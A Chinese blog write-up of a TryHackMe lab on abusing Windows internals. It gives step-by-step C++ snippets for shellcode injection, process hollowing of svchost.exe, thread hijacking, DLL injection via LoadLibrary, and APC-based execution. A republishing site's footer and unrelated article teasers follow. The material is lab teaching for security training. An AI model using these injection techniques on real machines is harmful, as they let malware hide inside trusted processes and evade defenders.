tryhackme——Abusing Windows Internals(進程注入)

文章目錄

  • 一、Abusing Processes
  • 二、進程鏤空
  • 三、線程劫持
  • 四、DLL注入
  • 五、Memory Execution Alternatives

一、Abusing Processes

操作系統上運行的應用程序可以包含一個或多個進程,進程表示正在執行的程序。進程包含許多其他子組件,并且直接與內存或虛擬內存交互,下表描述了進程的每個關鍵組件及其用途。

Process ComponentPurpose
私有虛擬地址空間進程分配的虛擬內存地址
可執行程序存儲在虛擬地址空間中的代碼和數據
打開句柄(open handle)定義進程可訪問的系統資源句柄
安全上下文訪問令牌定義用戶、安全組、權限和其他安全信息
進程 ID進程的唯一數字標識符
線程進程中計劃執行的部分

進程注入指通過合法功能或組件將惡意代碼注入進程。下面將重點介紹以下四種不同類型的進程注入。

進程注入類型功能
Process Hollowing(進程鏤空創建一個目標進程(通常是合法進程,如svchost.exe)并將其主模塊(如exe映像)從內存中“挖空”(替換為惡意代碼)。
Thread Execution Hijacking(線程執行劫持)掛起目標進程的某個線程,修改其上下文(如指令指針EIP/RIP)指向注入的惡意代碼,恢復線程后執行惡意邏輯。
Dynamic-link Library Injection(DLL注入)將惡意DLL加載到目標進程內存中,并通過遠程線程(如LoadLibrary調用)或修改導入表使其執行。
Portable Executable Injection(PE注入)將惡意可執行文件(PE)的映像直接寫入目標進程內存,并手動執行(無需通過LoadLibrary)。

進程注入采用Shellcode注入的形式,可以分為四個步驟:

  • 打開一個擁有所有訪問權限的目標進程。
  • 為Shellcode分配目標進程內存。
  • 將Shellcode寫入目標進程中已分配的內存。
  • 使用遠程線程執行Shellcode。

上述步驟也可以圖形化地分解,以描述Windows API調用如何與進程內存交互。
在這里插入圖片描述

實現一個基本shellcode注入器的基本步驟如下:

1、通過OpenProcess獲取目標進程的句柄(handle);

processHandle = OpenProcess(PROCESS_ALL_ACCESS, // Defines access rightsFALSE, // Target handle will not be inheretedDWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

2、使用VirtualAllocEx在目標進程中分配內存 ;

remoteBuffer = VirtualAllocEx(processHandle, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

3、使用WriteProcessMemory在目標內存中寫入Shellcode;

WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);

4、使用CreateRemoteThread執行Shellcode;

remoteThread = CreateRemoteThread(processHandle, // Opened target processNULL, 0, // Default size of the stack(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the threadNULL, 0, // Ran immediately after creationNULL
);

二、進程鏤空

Process Hollowing是進程注入的一種方法,能夠將整個惡意文件注入進程,具體則是hollowing或取消進程映射,并將特定的 PE(可移植可執行文件)數據和段注入進程。其大致可分為六個步驟:

  1. 創建一個處于掛起狀態的目標進程;
  2. 打開惡意映像;
  3. 從進程內存中取消合法代碼的映射;
  4. 為惡意代碼分配內存位置,并將每個段寫入地址空間;
  5. 設置惡意代碼的入口點;
  6. 使目標進程退出掛起狀態。

該過程可用下圖表示:
在這里插入圖片描述
實現Process Hollowing的基本步驟如下:

1、啟動一個合法進程(如svchost.exe),但主線程處于掛起狀態,此時進程內存已初始化但未執行代碼。

LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointerif (CreateProcessA((LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to executeNULL,NULL,NULL,TRUE, // Handles are inherited from the calling processCREATE_SUSPENDED, // New process is suspendedNULL,NULL,target_si, // pointer to startup infotarget_pi) == 0) { // pointer to process informationcout << "[!] Failed to create Target process. Last Error: " << GetLastError();return 1;

2、使用CreateFileA獲取惡意映像的句柄。

HANDLE hMaliciousCode = CreateFileA((LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtainGENERIC_READ, // Read-only accessFILE_SHARE_READ, // Read-only share modeNULL,OPEN_EXISTING, // Instructed to open a file or device if it existsNULL,NULL
);

3、一旦獲取到惡意映像的句柄,就必須使用VirtualAlloc為惡意文件分配本地內存,GetFileSize函數也用于檢索惡意映像所需內存大小。

DWORD maliciousFileSize = GetFileSize(hMaliciousCode, // Handle of malicious image0 // Returns no error
);PVOID pMaliciousImage = VirtualAlloc(NULL,maliciousFileSize, // File size of malicious image0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x04 // Enables read/write access (PAGE_READWRITE)
);

4、寫入惡意文件

DWORD numberOfBytesRead; // Stores number of bytes readif (!ReadFile(hMaliciousCode, // Handle of malicious imagepMaliciousImage, // Allocated region of memorymaliciousFileSize, // File size of malicious image&numberOfBytesRead, // Number of bytes readNULL)) {cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;TerminateProcess(target_pi->hProcess, 0);return 1;
}CloseHandle(hMaliciousCode);

5、通過線程上下文獲取PEB地址,進而讀取原始EXE的基址。

CPU 寄存器 EAX(入口點)和 EBX(PEB 位置)包含我們需要獲取的信息;這些信息可以通過使用GetThreadContext找到。找到這兩個寄存器后,使用ReadProcessMemory從 EBX 獲取基址,并通過檢查 PEB 獲得偏移量 (0x8)。

c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to store retrieved context
); // Obtains the current thread contextPVOID pTargetImageBaseAddress; 
ReadProcessMemory(target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure(PVOID)(c.Ebx + 8), // Pointer to the base address&pTargetImageBaseAddress, // Store target base address sizeof(PVOID), // Bytes to read 0 // Number of bytes out
);

6、清空目標進程的原始代碼/數據,形成“空洞”。可以使用從ntdll.dll導入的ZwUnmapViewOfSection來釋放目標進程的內存

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, // Handle of ntdll"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdllDWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress // Base address of the process
);

7、在Hollowed進程中為惡意進程分配內存。

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanewDWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structurePVOID pHollowAddress = VirtualAllocEx(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processsizeOfMaliciousImage, // Byte size obtained from optional header0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

8、一旦分配了內存,將惡意PE頭寫入內存;

if (!WriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processpMaliciousImage, // Local memory where the malicious file residespNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers NULL
)) {cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

9、寫入惡意進程的各節區;

for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE dataPIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section headerWriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current sectionpSectionHeader->SizeOfRawData, // Byte size of current sectionNULL);
}

10、使用SetThreadContext將EAX更改為指向惡意入口點;

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional headerSetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to the stored context structure
);

11、使用ResumeThread將進程從掛起狀態中喚醒。

ResumeThread(target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

三、線程劫持

線程劫持可分為10個步驟:

  1. 定位并打開要控制的目標進程。
  2. 為惡意代碼分配內存區域。
  3. 將惡意代碼寫入分配的內存。
  4. 識別要劫持的目標線程的線程 ID。
  5. 打開目標線程。
  6. 暫停目標線程。
  7. 獲取線程上下文。
  8. 將指令指針更新為惡意代碼。
  9. 重寫目標線程上下文。
  10. 恢復被劫持的線程。

1、前三個步驟與常規進程注入步驟相同,可參考一下代碼:

// 打開目標進程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);// 為惡意代碼分配內存區域
PVOIF remoteBuffer = VirtualAllocEx(hProcess, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);// 將惡意代碼寫入分配的內存
WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);

2、通過識別線程ID來開始劫持進程線程。為了識別線程ID,我們需要使用三個Windows API調用:CreateToolhelp32Snapshot()Thread32First()Thread32Next()

THREADENTRY32 threadEntry;HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPTHREAD, // Include all processes residing on the system0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshothSnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
);while (Thread32Next( // Obtains the next thread in the snapshotsnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
)) {

3、打開目標線程

if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match{HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child threads do not inheret parent thread handlethreadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer);break;}

4、使用SuspendThread掛起目標線程

SuspendThread(hThread);

5、獲取線程上下文;

CONTEXT context;
GetThreadContext(hThread, // Handle for the thread &context // Pointer to store the context structure
);

6、劫持目標線程執行流。線程恢復執行時,CPU將從Rip指向的地址(即Shellcode)開始執行,而非原代碼邏輯。

context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation

7、更新目標線程上下文;

SetThreadContext(hThread, // Handle for the thread &context // Pointer to the context structure
);

8、重啟線程;

ResumeThread(hThread // Handle for the thread
);

四、DLL注入

DLL注入總體可分為5個步驟:

  1. 找到要注入的目標進程。
  2. 打開目標進程。
  3. 為惡意 DLL 分配內存區域。
  4. 將惡意 DLL 寫入分配的內存。
  5. 加載并執行惡意 DLL。

1、在 DLL 注入的第一步中,我們必須定位目標進程。可以使用如下三個Windows API函數:CreateToolhelp32Snapshot()Process32First()Process32Next()

DWORD getProcessId(const char *processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPPROCESS, // Include all processes residing on the system0 // Indicates the current process);if (hSnapshot) {PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structureentry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structureif (Process32First( // Obtains the first process in the snapshothSnapshot, // Handle of the snapshot&entry // Pointer to the PROCESSENTRY32 structure)) {do {if (!strcmp( // Compares two strings to determine if the process name matchesentry.szExeFile, // Executable file name of the current process from PROCESSENTRY32processName // Supplied process name)) { return entry.th32ProcessID; // Process ID of matched process}} while (Process32Next( // Obtains the next process in the snapshothSnapshot, // Handle of the snapshot&entry)); // Pointer to the PROCESSENTRY32 structure}}DWORD processId = getProcessId(processName); // Stores the enumerated process ID

2、使用GetModuleHandle、GetProcAddress或OpenProcess打開該進程。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);

3、使用VirtualAllocEx為惡意 DLL 分配內存。

LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, // Handle for the target processNULL, strlen(dllLibFullPath), // Size of the DLL pathMEM_RESERVE | MEM_COMMIT, // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

4、使用WriteProcessMemory將惡意DLL寫入分配的內存位置。

WriteProcessMemory(hProcess, // Handle for the target processdllAllocatedMemory, // Allocated memory regiondllLibFullPath, // Path to the malicious DLLstrlen(dllLibFullPath) + 1, // Byte size of the malicious DLLNULL
);

5、惡意 DLL 被寫入內存后,加載并執行它。要加載該 DLL,我們需要使用從kernel32導入的LoadLibrary函數。加載完成后,可以使用CreateRemoteThread函數,以LoadLibrary作為啟動函數來執行內存。

LPVOID loadLibrary = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), // Handle of the module containing the call"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, // Handle for the target processNULL, 0, // Default size from the execuatable of the stack(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting functiondllAllocatedMemory, // pointer to the allocated memory region0, // Runs immediately after creationNULL
);

五、Memory Execution Alternatives

shellcode執行技術:

1、調用函數指針(Invoking Function Pointers
void 函數指針是一種非常新穎的內存塊執行方法,它完全依賴于類型轉換。這種技術只能在本地分配的內存中執行,但不依賴于任何API 調用或其他系統功能。

下面的單行代碼是 void 函數指針最常見的形式,但我們可以進一步分解它來解釋它的組成部分。
在這里插入圖片描述

  • 創建一個函數指針 (void(*)()紅色框出
  • 將分配的內存指針或 shellcode 數組強制轉換為函數指針 (<function pointer>)addressPointer)黃色框出
  • 調用函數指針執行shellcode();綠色框出

2、異步過程調用(Asynchronous Procedure Calls

異步過程調用 (APC) 是在特定線程上下文中異步執行的函數。APC函數通過 QueueUserAPC排隊到線程。排隊后,APC函數將觸發軟件中斷,并在下次線程調度時執行該函數。

為了讓用戶態/用戶模式應用程序將APC函數排隊,線程必須處于“可警告狀態”。可警告狀態要求線程等待回調函數,例如WaitForSingleObjectSleep

現在我們了解了什么是 APC 函數,接下來看看它們是如何被惡意利用的!我們將使用VirtualAllocExWriteProcessMemory來分配和寫入內存。

QueueUserAPC((PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winntpinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure(ULONG_PTR)NULL);
ResumeThread(pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structureINFINITE // Wait infinitely until alerted
);

3、PE節區操縱(Section Manipulation

核心思想:利用PE文件的節區(如.text、.data)存儲惡意代碼,通過修改入口點或節區屬性實現執行

PE格式定義了 Windows 中可執行文件的結構和格式。為了執行,我們主要關注節,特別是 .data 和 .text 節,此外,表和指向節的指針也常用于執行數據。

要開始使用任何節操作技術,我們需要獲取 PE 轉儲。獲取 PE 轉儲通常是通過將 DLL 或其他惡意文件輸入到 xxd 中來實現的。每種方法的核心都是使用數學運算來遍歷物理十六進制數據,并將其轉換為 PE 數據。一些較為常見的技術包括 RVA 入口點解析、節映射和重定位表解析。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/83589.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/83589.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/83589.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[藍橋杯]密碼脫落

密碼脫落 題目描述 X 星球的考古學家發現了一批古代留下來的密碼。 這些密碼是由 A、B、C、D 四種植物的種子串成的序列。 仔細分析發現&#xff0c;這些密碼串當初應該是前后對稱的&#xff08;也就是我們說的鏡像串&#xff09;。 由于年代久遠&#xff0c;其中許多種子…

Python繪圖庫及圖像類型

折線圖&#xff08;plot&#xff09; 繪圖庫介紹 Python中繪制折線圖的全面指南_python繪制折線圖-CSDN博客https://blog.csdn.net/2301_81064905/article/details/139689644 核心作用說明趨勢分析揭示數據隨時間推移的上升/下降趨勢、周期性波動或轉折點變化對比在單一圖表…

4種常見Python設計愛心創意實現方法

在Python中設計愛心創意有多種實現方式&#xff0c;以下介紹4種常見方法&#xff0c;并附上完整代碼&#xff1a; 方法1&#xff1a;使用數學方程繪制&#xff08;Matplotlib&#xff09; ??原理??&#xff1a;使用參數方程繪制心形曲線 ??效果??&#xff1a;光滑的數…

【Unity】R3 CSharp 響應式編程 - 使用篇(二)

一、通用的事件監聽用法 using System;using R3;using UnityEngine;namespace Aladdin.Standard.Observable.Common{public class CommonObservable : MonoBehaviour{// 默認會調用1次public SerializableReactiveProperty<int> serializableReactiveProperty;…

【原理解析】為什么顯示器Fliker dB值越大,閃爍程度越輕?

顯示器Fliker 1 顯示器閃爍現象說明2 Fliker量測方法2.1 FMA法2.2 JEITA法問題答疑&#xff1a;為什么顯示器Fliker dB值越大&#xff0c;閃爍程度越輕&#xff1f; 3 參考文獻 1 顯示器閃爍現象說明 當一個光源閃爍超過每秒10次以上就可在人眼中產生視覺殘留&#xff0c;此時…

3.需求分析與測試用例設計方法

設計方法 測試點 定義: 測試時需要考慮的可測試方面&#xff0c;不同公司可能稱為"檢查點"或其它名稱特點: 是需求分析的最后一個環節&#xff0c;用于解決"測哪里"和"怎么測"的問題舉例說明: 如同打架時的各種招數&#xff0c;如直接約架、設…

IEC 61347-1:2015 燈控制裝置安全標準詳解

IEC 61347-1:2015燈控制裝置安全標準詳解 IEC 61347-1:2015 是國際電工委員會&#xff08;IEC&#xff09;發布的燈控制裝置第1部分&#xff1a;通用要求和安全要求的核心標準&#xff0c;為各類照明用電子控制設備設定了全球通用的安全基準。該標準適用于獨立式或內置于燈具/…

從 GPT 的發展看大模型的演進

這是一個技術爆炸的時代。一起來看看 GPT 誕生后&#xff0c;與BERT 的角逐。 BERT 和 GPT 是基于 Transformer 模型架構的兩種不同類型的預訓練語言模型。它們之間的角逐可以從 Transformer 的編碼解碼結構角度來分析。 BERT&#xff08;Bidirectional Encoder Representatio…

多目標粒子群優化算法(MOPSO),用于解決無人機三維路徑規劃問題,Matlab代碼實現

多目標粒子群優化算法&#xff08;MOPSO&#xff09;&#xff0c;用于解決無人機三維路徑規劃問題&#xff0c;Matlab代碼實現 目錄 多目標粒子群優化算法&#xff08;MOPSO&#xff09;&#xff0c;用于解決無人機三維路徑規劃問題&#xff0c;Matlab代碼實現效果一覽基本介紹…

貪心算法應用:集合覆蓋問題詳解

貪心算法與集合覆蓋問題詳解 貪心算法在組合優化問題中展現出獨特優勢&#xff0c;集合覆蓋問題&#xff08;Set Cover Problem&#xff09;是其中的經典案例。本文將用2萬字全面解析貪心算法在集合覆蓋/劃分中的應用&#xff0c;涵蓋算法原理、正確性分析、Java實現、復雜度證…

MCP:讓AI工具協作變得像聊天一樣簡單 [特殊字符]

想象一下,你正在處理一個項目,需要從A平臺查看團隊討論,從B平臺獲取客戶信息,還要在GitHub上檢查代碼進度。傳統做法是什么?打開三個不同的網頁,在各個平臺間來回切換,復制粘貼數據,最后還可能因為信息分散而遺漏重要細節。 聽起來很熟悉?這正是當前工作流程的痛點所…

docker不用dockerfile

好的&#xff01;既然你不想使用 Dockerfile&#xff0c;我們就完全不寫 Dockerfile&#xff0c;改用你 Leader 提到的思路&#xff1a; 用基礎鏡像啟動一個容器 → 手動在容器里安裝依賴和復制項目 → 保存為新鏡像 這個方式更直觀&#xff0c;就像“你進入容器自己配置環境&a…

React與Vue核心區別對比

React 和 Vue 都是當今最流行、功能強大的前端 JavaScript 框架&#xff0c;用于構建用戶界面。它們有很多相似之處&#xff08;比如組件化、虛擬 DOM、響應式數據綁定&#xff09;&#xff0c;但也存在一些核心差異。以下是它們的主要區別&#xff1a; 1. 核心設計與哲學 Rea…

強化學習-深度學習和強化學習領域

在深度學習和強化學習領域&#xff0c;SFT&#xff08;Supervised Fine-Tuning&#xff09; 和 GRPO&#xff08;可能指 Gradient-based Policy Optimization 或 Reinforcement Learning with Policy Optimization&#xff09;是兩種不同的訓練范式&#xff0c;常用于模型微調或…

在 ABP VNext 中集成 Serilog:打造可觀測、結構化日志系統

&#x1f680; 在 ABP VNext 中集成 Serilog&#xff1a;打造可觀測、結構化日志系統 &#x1f4da; 目錄 &#x1f680; 在 ABP VNext 中集成 Serilog&#xff1a;打造可觀測、結構化日志系統1. 為什么要使用結構化日志&#xff1f; &#x1f914;2. 核心集成步驟 &#x1f6e…

API異常信息如何實時發送到釘釘

#背景 對于一些重要的API&#xff0c;開發人員會非常關注API有沒有報錯&#xff0c;為了方便開發人員第一時間獲取錯誤信息&#xff0c;我們可以使用插件來將API報錯實時發送到釘釘群。 接下來我們就來實操如何實現 #準備工作 #創建釘釘群 如果已有釘釘群&#xff0c;可以跳…

Stone 3D新版本發布,添加玩家控制和生物模擬等組件,增強路徑編輯功能,優化材質編輯

后續版本號改為構建日期加小版本&#xff0c;所以最新版本為20250603.01 功能更新如下&#xff1a; 1. 改寫fps-controls組件&#xff0c;簡化游戲應用的創建&#xff0c;你只需要一個場景glb&#xff0c;然后給Scene節點添加fps-controls組件&#xff0c;即可完成一個第一人…

【C++11】折疊引用和完美轉發

目錄 一. 前言二. 引用折疊引用折疊的規則 三. 完美轉發完美轉發適用場景完美轉發底層實現思考1思考2 一. 前言 在函數傳參時&#xff0c;如果想保持某個參數的屬性不改變&#xff0c;需要完美轉發&#xff0c;而完美轉發的實現需要折疊引用的幫助 二. 引用折疊 在語法上&am…

Vue 樹狀結構控件

1、效果圖如下所示&#xff1a; 2、網絡請求的數據結構如下&#xff1a; 3、新建插件文件&#xff1a;menu-tree.vue&#xff0c;插件代碼如下&#xff1a; <template><div class"root"><div class"parent" click"onParentClick(pare…

洛谷P12610 ——[CCC 2025 Junior] Donut Shop

題目背景 Score: 15. 題目描述 The owner of a donut shop spends the day baking and selling donuts. Given the events that happen over the course of the day, your job is to determine the number of donuts remaining when the shop closes. 輸入格式 The first …